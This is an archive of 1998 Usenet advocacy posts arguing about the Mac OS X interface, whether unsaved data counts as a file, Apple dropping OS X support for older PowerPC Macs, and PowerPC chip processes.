ari
From: Pulsar <tokarek@uiuc.edu>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Mac OS X UI
Date: Tue, 28 Jul 1998 23:11:08 -0500
Organization: University of Illinois at Urbana-Champaign
Message-ID: <Pine.SOL.3.96.980728230635.5319C-100000@ux9.cso.uiuc.edu>
References: <1dchch6.146wrtfq31jjjN@rhrz-isdn3-p34.rhrz.uni-bonn.de> <Pine.SOL.3.96.980727102938.21442B-100000@ux7.cso.uiuc.edu> <6picpl$6pd@newsb.netnews.att.com> <Pine.SOL.3.96.980727170446.19424C-100000@ux7.cso.uiuc.edu> <6pjer0$941@newsb.netnews.att.com> <Pine.SOL.3.96.980728103229.17041F-100000@ux8.cso.uiuc.edu> <andyba-ya02408000R2807981531280001@news>
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In-Reply-To: <andyba-ya02408000R2807981531280001@news>
On Tue, 28 Jul 1998, Andy Bates wrote:
> In article <Pine.SOL.3.96.980728103229.17041F-100000@ux8.cso.uiuc.edu>,
> Pulsar <tokarek@uiuc.edu> wrote:
>
> > The Mac could have an equivalent to the taskbar (hopefully much better).
> > I've never really looked at GoMac or tried it out, but apparently that
> > does something similar.
>
> The Mac does have something better; in 8.5, the Application menu can be
> torn off, so you have one button per application, instead of one per
> window. That looks good to me.
Mac OS 8.5 does not exist yet. I ask you to withdraw your comment.
Furthermore, I _never_ said that the mac should have a taskbar that
behaves _exactly_ like Windows'. If you had actually read my posts you
would have seen that I said that the buttons on a Mac taskbar would
represent applications. I know bloody well what they represent in Windows
and that is why I have said the Windows taskbar is not perfect.
You are misconstruing my position in an attempt to discredit me and my
position.
Ryan Tokarek
<tokarek@uiuc.edu>
<http://www.ews.uiuc.edu/~tokarek>
From: macghod@concentric.net (Steve Sullivan)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: View from the trenches
Date: Tue, 28 Jul 1998 21:09:38 -0700
Organization: EarthLink Network, Inc.
Message-ID: <macghod-2807982109380001@sdn-ar-001casbarp309.dialsprint.net>
References: <6or4sj$83a$1@supernews.com> <Josh.McKee-1907981006510001@pm3a16.rmac.net> <6ot75m$16j$1@lwnws01.ne.highway1.com> <Josh.McKee-1907981309250001@pm3a13.rmac.net> <6ovhg8$qsp@newsb.netnews.att.com> <Josh.McKee-2107981856040001@pm3a15.rmac.net> <6p45f7$l73$1@nnrp1.dejanews.com> <Josh.McKee-2307981802510001@pm3a8.rmac.net> <6p9ami$olq$1@nnrp1.dejanews.com> <Josh.McKee-2407981743100001@pm3a13.rmac.net> <6pc9b1$8qd$1@nnrp1.dejanews.com> <Josh.McKee-2507980855240001@pm3a23.rmac.net> <6ph9u7$fp5$1@nnrp1.dejanews.com> <joe.ragosta-2707981035100001@wil51.dol.net> <35BCA708.7440433@intel.com> <joe.ragosta-2707981311490001@wil76.dol.net> <6pk34k$9gu$1@nntp2.ba.best.com> <joe.ragosta-2807980907490001@wil43.dol.net> <MPG.10284cf7951f302b989a3d@news.supernews.com>
In article <MPG.10284cf7951f302b989a3d@news.supernews.com>,
don.brown@cesoft.com (Donald Brown) wrote:
> Windows doesn't have this sort of easy switching between configurations
> without a third party utility. But, it does let you use TCP
> simultaneously with dial-up and local network. The feature is called
> "multi-homing", I believe.
IIRC, Apple has stated that ot 2.0 will have this ability
From: Landivar2 <landivar2@geocities.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.be.advocacy
Subject: Re: Gassee and Apple's decay (was Re: Apple heading to obscurity?)
Date: Tue, 28 Jul 1998 23:07:14 -0500
Organization: TCA Networks, College Station Texas 409.693.8885
Message-ID: <35BE9FF2.4D@geocities.com>
References: <6oj5a0$goe$1@hole.sdsu.edu> <35B08C8B.7E9A@REMOVE.wayne.edu> <19980718131133152609@pm2-2-03.aug.com> <35B16136.5FA1@REMOVE.wayne.edu> <900819436.724616@kelp.mbay.net> <35B40129.7D50@digital.net> <35b414c4.0@news.depaul.edu> <19980721190735247592@ts4-11.aug.com>
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Rick wrote:
> .. and whta platform has Jobs successfully sold? Ever?
... ever?
Apple II of course.
Remember when apple an IBM competed for the top spot.
From: andyba@corp.webtv.net (Andy Bates)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Mac OS X UI
Date: Tue, 28 Jul 1998 12:00:34 -0700
Organization: WebTV Networks
Message-ID: <andyba-ya02408000R2807981200340001@news>
References: <6odtu6$lh3$5@lwnws01.ne.highway1.com> <andyba-ya02408000R2307981327300001@news> <6pajhr$nj6$1@news.spacelab.net> <andyba-ya02408000R2707981255140001@news> <6pk8l2$fd2$1@bartlet.df.lth.se>
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In article <6pk8l2$fd2$1@bartlet.df.lth.se>, cb@bartlet.df.lth.se
(Christian Brunschen) wrote:
> In article <andyba-ya02408000R2707981255140001@news>,
> Andy Bates <andyba@corp.webtv.net> wrote:
> >
> >Who says that a file has to be saved to disk (on a filesystem) before it
> >becomes a file?
>
> The whole concept of a 'file' comes from collecting a bunch of data and
> storing it in a well-defined place - you know, _filing_ it.
No, you misunderstand the origin of the "file" concept. It is not called a
file because of the action of filing it onto the disk; it is called a file
because it IS a collection of data. From Merriam-Webster's dictionary:
"file (n): a complete collection of data (as text or a program) treated by
a computer as a unit especially for purposes of input and output." Nowhere
in that definition is the stipulation that the collection of data treated
as a unit has to be located on a disk.
Look, we're getting off of the topic here. Even if you think of the file on
disk as the "file," and the information in memory as just a collection of
information, it is still conceptually the same file. Therefore, any
operations on this collection of information should go under the "File"
menu, since the same operations can be performed on the data whether or not
it has been saved to disk.
> Until you do
> this, in some sort of filing system, I wouldn't say you have a file.
The data IS collected and stored in a well-defined place. In some cases,
that place is an area of memory. It is possible to create a file, edit it,
and print it, without it ever being saved to disk. However, it is still a
file!
Or for that matter, what would you call the items that you save to a RAM
disk? They aren't stored on a disk filesystem; does that mean that they
aren't files?
> > I can create a word-processing file, edit it, print it, and
> >choose not to save it to disk. That doesn't change the fact that the
> >collection of data I worked on and printed was a file.
>
> Um, no, it never was a file. It was a bunch of text - which you _could_
> have filed somewhere yes - but you never did that, so it didn't ever
> actually become a file.
Yes, it was a file. Saying that "it was a bunch of text" doesn't change
that fact. You called it "a bunch of text." "A bunch." A "bunch" is another
word for a collection, and text is just data. Therefore, "a bunch of text"
is just a collection of data, which is, surprise!, a file. You can get out
a thesaurus and call it "an amalgalm of glyphs," but it's still a file.
> >It just wasn't a file that was ever saved to disk.
> >
> >And with the packet-sniffer example, the data you collect IS in a file; the
> >file is maintained in memory. Whether or not that data has been written to
> >the filesystem is irrelevant.
>
> Ah, we disagree. I say that there is a specific action that turns a bunch
> of data (such as packets collected from the network) into a file; you
> appear to say that since you _could_ turn it into a file, it _is_ a file.
No, saving it doesn't "turn it into" a file; it is ALREADY a file. Saving
it just changes its location from memory to the hard disk. Or are you
arguing that the same collection of data is a file when it's located on the
hard disk, but it's just "a bunch of text" when it's loaded into memory?
People don't say, "Oh, I'm just editing the collection of text that was
derived from the report, and when I'm done I'll make sure and derive a new
report from my modified data." They say, "I'm editing the report, and when
I'm done I'll save it." When the computer crashes, they say, "I lost my
report," not "I lost the collection of data that I was going to turn into a
report by saving it to a filesystem."
> Well, by similar logic, if I were to buy an DYI airplane kit, I should
> just be able to sit down in it and fly away, since, after all, I could
> just put it together - so it already _is_ an airplane :)
By your logic, an airplane is only an airplane while it's in the air. If it
lands, it's a car. If it lands in the ocean, it's a submarine.
> I also disagree with the statement 'the data you collect IS in a file;
> thefile is maintained in memory'. I collect a bunch of data - that's it.
> If I were to store it in a file, then it would be in a file, but since I
> don't, it doesn't.
The program that operates on that data has to have some way of
distinguishing that data from the rest of the data floating around memory.
That organization of data that it maintains is called a file.
> While your viewpoint has _some_ merit, I would say that it is far too
> broad. After all, _any_ collection of data could be saved to disk, to make
> it a file - but that does not make every possible collection of data a
> file. Do you see what I am trying to say ?
A file in memory has some sort of delimitation which marks where it begins,
where it ends, and which order it goes in. A random collection of data does
not have these distinguishing characteristics, and is therefore not a file.
However, and collection of data that a program will be working with in
memory DOES have these delimiters, and is therefore a file.
> If I write a letter, in a word processor, and never save it - only keep it
> in the computer's main memory, then print it, then close the window - I
> certainly would not consider that letter to ever have been a file on my
> computer. I _could have_ saved it and thus stored the letter (which I was
> writing) in a file (an entity in the file system), but I never did.
When you write a letter that is stored in memory, what happens when you
print it out? Does it print out the complete contents of the computer's
entire memory? No, it just prints out the collection of data that you
entered in. The computer knows where that collection starts, where it
stops, what it contains, and what order it goes in. It is a file. A file
system is a structure for storing files (specific delimited collections of
data) onto a storage medium. That doesn't mean that a file can not exist
outside of the file system. By that logic, an orange peel isn't garbage
until you put it in a garbage can.
> The fact that the word processor allows easy access to storing text in
> files and restoring text from files, does not make every text a file.
"Every text"? I see you're using incorrect grammar to avoid saying, "every
collection of text," or in other words, a file. No, not every combination
of text in memory is a file. But then again, not every combination of data
on a hard disk is a file either. Certain markings distinguish one file from
another on a hard disk; similar markings distinguish one file from another
in memory. Why is that so hard to comprehend?
Andy Bates.
From: Michael Peck <Michael.Peck@ericsson.com>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Mac OS X UI
Date: Tue, 28 Jul 1998 11:05:16 -0500
Organization: Ericsson North America Inc.
Message-ID: <35BDF6BC.B3238E95@ericsson.com>
References: <mNOSPAMroeder-1507981407020001@192.168.21.170> <Pine.SOL.3.96.980720100804.10712A-100000@ux9.cso.uiuc.edu> <1dchch6.146wrtfq31jjjN@rhrz-isdn3-p34.rhrz.uni-bonn.de> <Pine.SOL.3.96.980720143618.25855A-100000@ux5.cso.uiuc.edu> <andyba-ya02408000R2107981148110001@news> <6p2t9m$t36$2@cronkite.cygnus.com> <vpft1.1542$E5.7524002@proxye1.san.rr.com> <35b5b550.0@nnrp1.news.uk.psi.net> <35BC951E.4608D7E0@nstar.net> <Pine.SOL.3.96.980727101621.21442A-100000@ux7.cso.uiuc.edu> <andyba-ya02408000R2707981730140001@news> <Pine.SOL.3.96.980728102816.17041E-100000@ux8.cso.uiuc.edu>
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Pulsar wrote:
> > The Mac OS menu interface is only inconsistent if you assume that the top
> > level should have buttons that do not invoke menus. However, since this is
> > not the case, it is perfectly consistent.
>
> Oh, indeed? What is that clock doing there? Does it bring down a submenu?
The clock is indeed an inconsistent feature of the MacOS menu bar.
However, the menu behavior of the MacOS menu bar is not inconsistent. To
my mind, the NeXT menu hierarchy is _systematically_ inconsistent, while
the MacOS menubar/menu dichotomy is appropriate despite the fact that
the menubar happens to contain tidbits like the clock.
MJP
From: "Jeffrey S. Dutky" <dutky@bellatlantic.net>
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Date: Wed, 29 Jul 1998 00:28:47 -0400
Organization: Bell Atlantic Internet Solutions
Message-ID: <35BEA4FB.2F0F@bellatlantic.net>
References: <joe.ragosta-2807981306530001@wil53.dol.net> <B1E3BF15-4B7AA@206.165.43.1>
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Joe Ragosta wrote:
>
> New kernel
to which, Lawson English replied:
>
> They knew for over a year (almost from the NeXT purchase)
> that a new kernel would be in the works. Wasn't OpenStep
> supposed to go to a new kernel even before NeXT was sold
> to Apple?
True, at least in the sense there this was widely rumored.
I don't remember whether there was any official word on it.
JR:
>
> New graphics system
LE:
>
> Not really. The X graphics system is merely the underlying
> graphics engine of DPS without the language.
I don't know that I'd be willing to bet either way on this,
however, whether or not OSX graphics are based on the graphics
kernel in DPS, or some other graphics kernel (most likely a
version of QuickDraw), the system is not really new. However,
if the API's have changed significantly, which, FWIR, they have,
the underlying kernel would be irrelevent, the whole thing would
need to be tested again.
JR:
>
> New driver model
LE:
>
> I thought that drivers were trivial to do with NeXT?
Whether or not writing drivers is "trivial" (which I seriosly
doubt) if the number of drivers to be written increases then
the programming and debugging effort increases as well. Probably
in a non-linear manner, due to interactions between the drivers
and due to an increase in the number and combination of types of
hardware that needs to be tested. Doubling the number of drivers
that need to be written could easily quadruple the effort needed.
JR:
>
> New set of Carbon APIs
LE:
>
> Based, for the most part, on services that the kernel will
> provide, or so I glean from the various diagrams and white
> papers floating around.
The API's need to be testes, regardless of what chunk of code
provides the services. I also wouldn't rely on those diagrams
in the white papers for detailed technical information, such
diagrams are famous for their oversimplification of complex
technical issues. As a simple example, the diagrams do not
indicate what kind of interaction goes on between elements of
the operating system. Such interraction is exactly where bugs
will crop up and must be caught. Further, the diagrams don't
indicate what kind of interractions will occurr inside the
applications. With changes to the API's, some applications may
break because they make assumptions about what kinds of data
they get back from OS calls.
The upshot of it all is that debugging is a bear, and Apple is
trying to make some huge leaps forward. These leaps, if they
were attempted while carrying the baggage of past Apple hardware
mistakes (let's not pretend there weren't any, or even that there
were only a few) might not be possible in a reasonable time frame.
- Jeff Dutky
From: Pulsar <tokarek@uiuc.edu>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Mac OS X UI
Date: Tue, 28 Jul 1998 14:27:41 -0500
Organization: University of Illinois at Urbana-Champaign
Message-ID: <Pine.SOL.3.96.980728142652.21913A-100000@ux8.cso.uiuc.edu>
References: <1dchch6.146wrtfq31jjjN@rhrz-isdn3-p34.rhrz.uni-bonn.de> <Pine.SOL.3.96.980720143618.25855A-100000@ux5.cso.uiuc.edu> <andyba-ya02408000R2107981148110001@news> <6p2t9m$t36$2@cronkite.cygnus.com> <vpft1.1542$E5.7524002@proxye1.san.rr.com> <35b5b550.0@nnrp1.news.uk.psi.net> <35BC951E.4608D7E0@nstar.net> <Pine.SOL.3.96.980727101621.21442A-100000@ux7.cso.uiuc.edu> <andyba-ya02408000R2707981730140001@news> <Pine.SOL.3.96.980728102816.17041E-100000@ux8.cso.uiuc.edu> <35BDF6BC.B3238E95@ericsson.com>
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In-Reply-To: <35BDF6BC.B3238E95@ericsson.com>
On Tue, 28 Jul 1998, Michael Peck wrote:
> Pulsar wrote:
>
> > > The Mac OS menu interface is only inconsistent if you assume that the top
> > > level should have buttons that do not invoke menus. However, since this is
> > > not the case, it is perfectly consistent.
> >
> > Oh, indeed? What is that clock doing there? Does it bring down a submenu?
>
> The clock is indeed an inconsistent feature of the MacOS menu bar.
> However, the menu behavior of the MacOS menu bar is not inconsistent. To
> my mind, the NeXT menu hierarchy is _systematically_ inconsistent, while
> the MacOS menubar/menu dichotomy is appropriate despite the fact that
> the menubar happens to contain tidbits like the clock.
Pardon, but what do you mean by the NeXT menu heirarchy being
"systemaitcally inconsistent"?
Ryan Tokarek
<tokarek@uiuc.edu>
<http://www.ews.uiuc.edu/~tokarek>
From: NeedALight?@NOT.netcom.com (Goin' Nova)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: PII 46% faster than G3 according to industry standard benchmarks
Date: 29 Jul 1998 04:30:04 GMT
Organization: Flames-R-Us
Message-ID: <NeedALight?-2807982141150001@9.oakland-01.ca.dial-access.att.net>
References: <35ba8474.0@news1.ibm.net> <35bcaf22.4151551@news.newsguy.com> <35BB6D7C.D0A9AC94@bellsouth.net> <Macghod-2607981534460001@sdn-ar-001casbarp113.dialsprint.net> <35BBF9FA.5869D6D3@bellsouth.net> <Macghod-2607981933110001@sdn-ar-001casbarp068.dialsprint.net> <stone-2707981147570001@rc-pm3-1-26.enetis.net> <joe.ragosta-2807980900460001@wil43.dol.net>
Mail-Copies-To: never
Otherwise_Known_As: John Hausmann
In article <joe.ragosta-2807980900460001@wil43.dol.net>, joe.ragosta@dol.net (Joe Ragosta) wrote:
> In article <stone-2707981147570001@rc-pm3-1-26.enetis.net>,
> stone@stoneentertainment.com (Kevin Stone) wrote:
>
> > In article <Macghod-2607981933110001@sdn-ar-001casbarp068.dialsprint.net>,
> > Macghod@concentric.net (Steve Sullivan) wrote:
> >
> > > In article <35BBF9FA.5869D6D3@bellsouth.net>, murchy@bellsouth.net wrote:
> > >
> > > > It's Ironic that some of you smirk at a "30%" advantage. Keep this in
> > > mind, with a
> > > > 30% advantage a 3D rendering job that takes 3 hours on a PC would take 2
> > > hours on a
> > > > G3 mac. Isn't that worth a little more money?
> > (snip)
> > > Then, you can satisfy your rabid pro apple ways by bragging about how a g3
> > > powerbook smokes a p2 notebook in speed AS WELL as price/performance. At
> > > least it will be the truth, and you can continue your rabid pro apple ways
> >
> > Getting a little hot under the collar there Steve? But you definitely
> > have a point with this guy. Price/Performance wise PC's have always been
> > ahead of Macs.
>
> Not much any more. Macs match name brand PCs pretty well.
>
> And since the discussion above considered notebooks, the Mac does very
> well in price/performance at the high end. Compare a G3 to a ThinkPad, for
> example.
>
> It's unfortunate that Apple doesn't yet have a cheap notebook, but in the
> areas where they compete, they do well.
Yeah. Tell it to Motorola, Umax and PowerPC.
--
Further, you make grammar errors, show mistakes in word choice, and
commit logical fallacies regularly. I don't. On top of all that,
you like a shithouse on fire.
Guess who? in <5o1nmn$4qc@dfw-ixnews5.ix.netcom.com>
From: "Jon G. Temple" <jontemple@earthlink.net>
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Date: Tue, 28 Jul 1998 12:12:30 -0400
Organization: jontemple@earthlink.net
Message-ID: <35BDF866.7F338880@earthlink.net>
References: <Pine.SOL.3.96.980722100750.22438A-100000@ux8.cso.uiuc.edu> <B1DBDE51-12E7A@206.165.43.118> <Pine.SOL.3.96.980723103808.23157A-100000@ux9.cso.uiuc.edu>
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Pulsar wrote:
> On 22 Jul 1998, Lawson English wrote:
>
> > Pulsar <tokarek@uiuc.edu> said:
> >
> > >> Yes, Apple ought to support it, but the machine is four years old.
> > >
> > >Yeah, but the 8600 that is based on the same motherboard is still
> > >selling _right_now_ and won't be supported through this decision either.
> >
> > And the 8600 is (I believe) the machine that Apple told early
> > adopter-developers to purchase in order to develop for Rhaposdy -the first
> > Mac supported in DR1, as I recall.
>
> I believe so. I think PowerMac G3s are supported with DR2.
>
> It is interesting (I think) that Apple has ported OpenStep for Mach from
> another hardware platform, created a Blue Box in which the Mac OS is
> hosted, updated the Yellow Box (OpenStep), removed most of the NeXT UI in
> favor of the Mac's, ported QTML over (including QuickDraw 3D),
> integrated Java significantly into Rhapsody, _and_ managed hardware
> support for a whole host of 604 and 604e based PCI PowerMacs, PowerMac G3
> machines and even x86 PCs since Rhapsody was announced back in
> early 1997.
>
> All this happened through two major restucurings, a change of management,
> 2 releases of the Mac OS (OS 8 and 8.1 not including 7.6.1), a release of
> a new version of QuickTime for the Mac OS _and_ Windows, a release of new
> hardware (PowerMac G3, PowerBook G3 series), and is working on more new
> hardware and a new version of the Mac OS while continuing to improve the
> Rhapsody developer releases.
>
> Mac OS X is supposed to replace the imaging system, replace the kernel
> (with an updated version that is already available and runs on a
> relatively huge range of hardware), maybe have a transparent Blue Box, add
> reimplemented versions of a subset of the current Mac OS API functions,
> probably introduce further enhancements to the UI for more consistency,
> drop support for a whole ton of hardware, and eliminate the BSD layer and
> command line.
>
> This is supposed to happen while introducing hardware that is supposed to
> be more consistent between models, have fewer major differences (ie. fewer
> motherboard designs at any one time), and while updating the Mac OS which
> drops support for a lot of hardware (68k Macs). One of those updates is
> largely a bug fix (8.5->8.6) and the next (OS 9.0) is very nebulous at the
> moment.
>
> Apple looks a lot more stable. There are no signs of major restructuring
> has happened several times over the last couple years. There is no
> immediate sign of new management coming in.
>
> What Apple has planned for time period of Mac OS X doesn't sound quite so
> impressive as what Apple has managed to do since early '97. That the
> reason Mac OS X drops support for anything but G3 PowerMacs and future
> machines is time doesn't quite ring true to me.
Ryan:
Thank you for a very insightful letter!
From: don.brown@cesoft.com (Donald Brown)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: View from the trenches
Date: Tue, 28 Jul 1998 22:03:29 -0500
Organization: Prairie Group
Message-ID: <MPG.10284cf7951f302b989a3d@news.supernews.com>
References: <6or4sj$83a$1@supernews.com> <Josh.McKee-1907981006510001@pm3a16.rmac.net> <6ot75m$16j$1@lwnws01.ne.highway1.com> <Josh.McKee-1907981309250001@pm3a13.rmac.net> <6ovhg8$qsp@newsb.netnews.att.com> <Josh.McKee-2107981856040001@pm3a15.rmac.net> <6p45f7$l73$1@nnrp1.dejanews.com> <Josh.McKee-2307981802510001@pm3a8.rmac.net> <6p9ami$olq$1@nnrp1.dejanews.com> <Josh.McKee-2407981743100001@pm3a13.rmac.net> <6pc9b1$8qd$1@nnrp1.dejanews.com> <Josh.McKee-2507980855240001@pm3a23.rmac.net> <6ph9u7$fp5$1@nnrp1.dejanews.com> <joe.ragosta-2707981035100001@wil51.dol.net> <35BCA708.7440433@intel.com> <joe.ragosta-2707981311490001@wil76.dol.net> <6pk34k$9gu$1@nntp2.ba.best.com> <joe.ragosta-2807980907490001@wil43.dol.net>
In article <joe.ragosta-2807980907490001@wil43.dol.net>,
joe.ragosta@dol.net says...
> > >I can be downloading files via PPP while checking e-mail on TCP/IP. So
> > >they work together.
> > >
> >
> > Care to cite how I can do this on my mac?
> > I've been waiting for this feature for over 5 years.
> >
> > -
>
> Gee--I didn't know it was hard. It just works.
>
> I have TCP/IP set for PPP and the appropriate PPP settings.
>
> I have MS Outlook set up as the e-mail package (but it also worked when we
> were using cc:Mail).
>
> I can use PPP while checking my mail.
>
All of the TCP/IP communication is taking place over the PPP connection.
If you have a TCP/IP intranet (without connection to the Internet) and
also have a modem that allows you to dial into TCP/IP for the Internet,
you've got to choose one or the other. You can't have your ftp client
downloading files via the PPP dialup while you are checking your email on
a server on the Intranet via Ethernet. You have to set TCP/IP up for one
or the other.
Granted, with Open Transport, it's very easy to set up different
configurations and switch between them (and on a laptop, you can use
Location Manager to change many settings at once).
Windows doesn't have this sort of easy switching between configurations
without a third party utility. But, it does let you use TCP
simultaneously with dial-up and local network. The feature is called
"multi-homing", I believe.
Donald
Date: Tue, 28 Jul 1998 12:59:01 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: New PowerPCs are announced
Message-ID: <joe.ragosta-2807981259010001@wil53.dol.net>
References: <6pior2$7s4@newsb.netnews.att.com> <6pjc1a$9c7$4@server.signat.org> <6pkoet$c0d@newsb.netnews.att.com> <6pkqvl$5h0$1@hecate.umd.edu>
In article <6pkqvl$5h0$1@hecate.umd.edu>,
davewang@wam.umd.edu.delete.after.edu@Glue.umd.edu (David T. Wang) wrote:
> gupta@kcopsrm.tm.tta.moc-mirrorafter@ wrote:
> : Maury Markowitz <maury@remove_this.istar.ca> wrote:
>
> : >
> : > I'm curious about the process though, as it was noted to be a .29m
process
> : >and not a .25 one. This struck me as odd, as I was under the impression
> : >everyone (in the PPC camp that is) is at .25 and moving to .18.
Apparenly I
> : >was wrong. Do you have a better roadmap for this?
>
> : It is a little odd, yes. The Motorola datasheet lists the older
> : PPC 750s as "0.29 micron 5LM CMOS HiP 3.0" and the newer ones as
> : "0.25 micron 5LM CMOS HiP 3.4".
>
> : The IBM datasheet for the older PPC 750s lists
> : "0.25 micron/0.18 Leff - CMOS technology, five levels of metal".
> : The core voltage is 2.5 - 2.75 V.
>
> I'm not sure, but it sounds like that this is just a migration to the
> "Mach 5" process.
I think that's what I read.
Essentially, Mach 5 was a new process and was used on the high speed 604e
chips. When they were ready to start making the G3 chips, the process was
too new, so they went with the older process.
The 333 and 366 MHz G3s will use the Mach 5 process.
--
Regards,
Joe Ragosta
http://www.dol.net/~Ragosta/complmac.htm
From: "Jon G. Temple" <jontemple@earthlink.net>
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Date: Tue, 28 Jul 1998 12:58:27 -0400
Organization: jontemple@earthlink.net
Message-ID: <35BE0328.3ED91065@earthlink.net>
References: <6o0nr6$7kh$1@nnrp1.dejanews.com> <6p07rq$gn5$1@nnrp1.dejanews.com> <6p0aht$mrk$1@nntp6.u.washington.edu> <6p0pif$bnq$1@nnrp1.dejanews.com> <6p2a6v$d0g$1@nntp6.u.washington.edu>
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R. Tang wrote:
> In article <6p0pif$bnq$1@nnrp1.dejanews.com>, <quinlan@intergate.bc.ca> wrote:
> >In article <6p0aht$mrk$1@nntp6.u.washington.edu>,
> > gwangung@u.washington.edu (R. Tang) wrote:
> >
> >> The part people keep forgetting to mention is under what time
> >> frame using what kind of resources.
> >
> >Again, why should I care what kind of resources it requires.
>
> I dunno; do you ahve an IQ over room temperature?
Why do people get insulting to back up bad arguments? *Sigh*
>
>
> Apple said that
> >I would get to run their "next generation" operating system on my 6100.
>
> They never said this.
If you are talking about Copland, they certainly did. But Copland was a
billion-dollar failure. With Rhapsody, they said PCI-only, no NuBus Macs, and yet
they are talking about not supporting all PCI Macs despite the fact that MacOS X
is just Rhapsody warmed over.
From: "Jon G. Temple" <jontemple@earthlink.net>
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Date: Tue, 28 Jul 1998 12:44:55 -0400
Organization: jontemple@earthlink.net
Message-ID: <35BDFFFD.961AF92@earthlink.net>
References: <6o0nr6$7kh$1@nnrp1.dejanews.com> <Josh.McKee-1707981733170001@pm3a19.rmac.net> <Josh.McKee-1807981007290001@pm3a21.rmac.net> <6oqjko$qqs$1@camel19.mindspring.com> <6p111m$h87$1@unlnews.unl.edu>
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Greg Berigan wrote:
> >> Therefore Apple lied.
>
> Failure to honor a promise isn't lying, but it isn't something easily
> tolerated either.
>
> I've stuck with Apple even after purchasing the Apple IIe and Apple
> IIgs. I bought Mac software before I even had a Mac to run it. When I
> finally bought one, I got the 7500. I was sold on the PCI bus, PPC
> processor, and especially the upgradeability.
>
> But if upgrading this machine with a G3 processor still won't get me Mac
> OS X, leaving me out of not only a new OS but also a whole new family of
> programs which require that environment, I'm not sure if I'll be able to
> bring myself to buy Apple anymore.
I think that a lot of concerned Mac users feel this way. Apple's been through
its worse times and we've stuck with them through it --- and it has been very
hard for many of us, but we did. We have pleaded with software companies, signed
petitions asking that the Mac be supported with new software and games, argued,
cajoled, evangelized, had all of our relatives buy Macs instead of PCs as a
result of our persuasiveness ---- and now Apple pulls this, as a special thank
you for our long loyalty through its hard times: dropping OS X support for PCI
Macs when these machines are already supported with Mac OS Server.
This is an exploitive move and all concerned user should sign the MacOS X
Petition at http://www.xlr8yourmac.com/osx_petition.html.
From: "Jon G. Temple" <jontemple@earthlink.net>
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Date: Tue, 28 Jul 1998 13:11:58 -0400
Organization: jontemple@earthlink.net
Message-ID: <35BE0653.4865BF1E@earthlink.net>
References: <slrn6ra3vt.7p8.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu> <B1DA7D74-587C6@206.165.43.17> <joe.ragosta-2207980849560001@wil103.dol.net>
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Joe Ragosta wrote:
> In article <B1DA7D74-587C6@206.165.43.17>, "Lawson English"
> <english@primenet.com> wrote:
>
> > Matt Kennel <NOSPAMmbkennelNOSPAM@yahoo.com> said:
> >
> > >
> > >A significant change to the kernel, especially involving deep
> > architectural
> > >changes due to new sorts of SMP is a tougher, global, issue. And it's one
> > >which is directly on the critical path to the new product.
> > >
> > >:This is a marketing issue, far, FAR more than it is an
> > >:engineering/cost-containment issue.
> >
> > Are you suggesting that it is harder to test MacOS X for Pre-G3 Macs than
> > it is to test MacOS 8.x for the 68040, NuBux, Pre-G3 and G3 Macs?
> >
> > I don't think so...
>
> 1. It just might be. Mac OSX differs from Rhapsody by the addition of a
> new kernel, entirely new driver architecture, and a completely new set of
> APIs. Mac OS 8.x uses the same kernel, driver architecture, and kernel of
> Mac OS 8.x-1. The former is a much bigger testing job.
MacOS X uses the same kernel as that used by MkLinux --- Mach 3.0. This runs on
ALL PowerMacs, including NuBus.
The statement that OS X uses an "entirely new driver architecture" is
questionable. OS X will be basically what Rhapsody is now --- Mach kernel with
BSD 4.4 UNIX layer. In fact, everything that Apple wants to add to OS X already
runs on PCI Macs.
Testing: I have no doubt that testing even G3-only Macs will be a bigger deal
than testing only old crap like OS 8.x. But so what? This is Apple's job. We
are Apple's customers. I expect Apple to do its job before I cough up more
money. If it doesn't, I'll take my money elsewhere.
> 2. It also depends on potential sales volume. Millions of people upgraded
> ot Mac OS 8. I don't know how many PCI Mac owners would pay for the
> upgrade to Mac OS X if it's $200 or so. Remember the number of PCI PPC
> Macs plus Nubus PPC Macs plus 040 Macs is _much_ larger than the number of
> PCI PPC Macs.
Where did you pull $200 per copy from? Sounds like something someone just made
up from thin air.
Actually, I expect Apple to charge the same for OS X for pre-G3s as for G3s.
The argument that the support work is going to be prohibitively expensive is
silly and extremely weak. I work for a major computer company and know better.
But Get Real: The EMPEROR HAS NO CLOTHES!
THE FACT IS: Apple's decision not to support pre-G3s was made only because they
want owners of older Macs to buy new ones to run OS X. If you want OS X, cough
up a load of extra cash, that is the message. It is about turning a quick buck,
that is all. It is a very shortsided business decision and I intended on
raising hell for the next year or more. I hope you have the same stamina as
UnOfficial Apple Apologist and Court Jester.
From: "Jon G. Temple" <jontemple@earthlink.net>
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Date: Tue, 28 Jul 1998 12:55:14 -0400
Organization: jontemple@earthlink.net
Message-ID: <35BE0268.1B22EC9D@earthlink.net>
